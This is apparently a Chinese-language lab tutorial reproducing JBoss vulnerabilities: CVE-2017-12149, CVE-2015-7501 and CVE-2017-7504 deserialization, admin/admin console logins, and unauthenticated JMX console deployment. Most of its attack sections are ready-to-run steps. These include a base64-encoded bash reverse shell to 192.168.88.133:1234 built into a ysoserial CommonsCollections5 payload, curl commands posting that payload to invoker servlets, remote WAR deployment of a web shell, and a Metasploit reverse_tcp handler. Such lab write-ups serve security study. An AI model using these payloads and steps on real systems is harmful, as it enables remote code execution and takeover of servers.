JBoss漏洞复现
0x01:JBoss安装
下载地址:https://jbossas.jboss.org/downloads/
1. 安装java环境
JDK版本应当在1.6-1.7之间,1.8版本jboss运行jmx console会出现500错误
2. 安装Jboss
新建环境变量
JBOSS_HOME 值为 C:\jboss-6.1.0.Final
在path中加入
%JBOSS_HOME%\bin
双击run.bat
出现indo信息说明安装成功
我们访问8080端口
3. 注意点
JBoss默认部署的路径为
C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war
如果需要向外网开放,我们修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml文件
然后重新运行run.bat
0x02:JBOSS5.x/6.x反序列化漏洞(CVE-2017-12149)
1. 漏洞原理
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
2. 影响版本
Jboss5.x/6.x
3. 漏洞复现
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化,访问/invoker/readonly目录,返回500即存在漏洞
我们用常规Java反序列化漏洞测试方法来复现该漏洞。我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,我们需要用进行一次编码。
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
生成poc.ser文件,这个就是我们的exp。
nc启动监听。然后我们发送exp
成功收到shell
0x03:JBoss JMXInvokerServle反序列化漏洞(CVE-2015-7501)
1. 漏洞原理
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
2. 影响版本
3. 漏洞复现
JBoss在处理/invoker/JMXInvokerServlet
请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。
访问 /invoker/JMXInvokerServlet,返回如下说明存在漏洞
我们利用上面漏洞生成的exp。发送到/invoker/JMXInvokerServlet接口
curl http://192.168.88.133:8080/invoker/JMXInvokerServlet --data-binary @poc.ser
反弹回shell
0x04:JBOSSMQ JMS反序列化漏洞(CVE-2017-7504)
1. 漏洞原理
Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invoca Layer的HTTPServerLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
2. 影响版本
JBoss 4.x以及之前的所有版本
3. 漏洞复现
访问/jbossmq-httpil/HTTPServerILServlet
还是利用前面生成的exp,发送到/jbossmq-httpil/HTTPServerILServlet接口。
curl http://192.168.88.133:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
反弹回shell
0x05:JBOSS EJBInvokerServlet反序列化漏洞(CVE-2013-4810)
http://x.x.x.x:8080/invoker/EJBInvokerServle
0x06:Administratot Console弱口令
Administrator Console管理员面存在弱口令,admin/admin,登录后台上传war包。
跳转到后台
密码admin/admin。登录
点击Add a new source,然后点击浏览上传war包。冰蝎成功连接。
修改密码在
C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties
0x07:低版本JMX Concole未授权访问
1. 漏洞原理
在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。
jboss 4.x及其之前版本ocnsole管理路径为/jmx-console/和/web-console/
jmx-console的配置文件为:
C:\jboss-4.2.3.GA\server\default\deploy\jmx-console.war\WEB-INF\jboss-web.xml
web-console的配置文件为:
C:\jboss-4.2.3.GA\server\default\deploy\management\console-mgr.sar\web-console.war\WEB-INF\jboss-web.xml
jmx-console和web-console共用一个账号密码
C:\jboss-4.2.3.GA\server\default\conf\props\jmx-console-users.properties
2. 漏洞复现
这里用的4.2.3版本
点击jmx console
然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)
然后我们在下面的地方添加我们vps上面war包的地址
然后点击invoke,出现下面也面说明成功上传
然后我们回到jmx-console页面。成功上传shell。
路径如下
我们利用冰蝎连接
0x08:高版本JMX Console未授权访问
这里借助JMXInvokerServlet-deserialization的vulhub环境
点击JMX Console
进入页面后点击jboss.system链接,进入页面后点击service=MainDeployer
进入页面后找到deploy填写远程war地址进行远程部署。
成功部署
我们可以在这个地方看到我们上传的shell
冰蝎连接即可。
0x09:自动化工具
http://192.168.88.133:8080/
反弹shell
联动metasploit
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.88.133
msf6 exploit(multi/handler) > set lport 7654
msf6 exploit(multi/handler) > exploit -j
然后执行
拿到meterpreter shell,但是一会就断开了。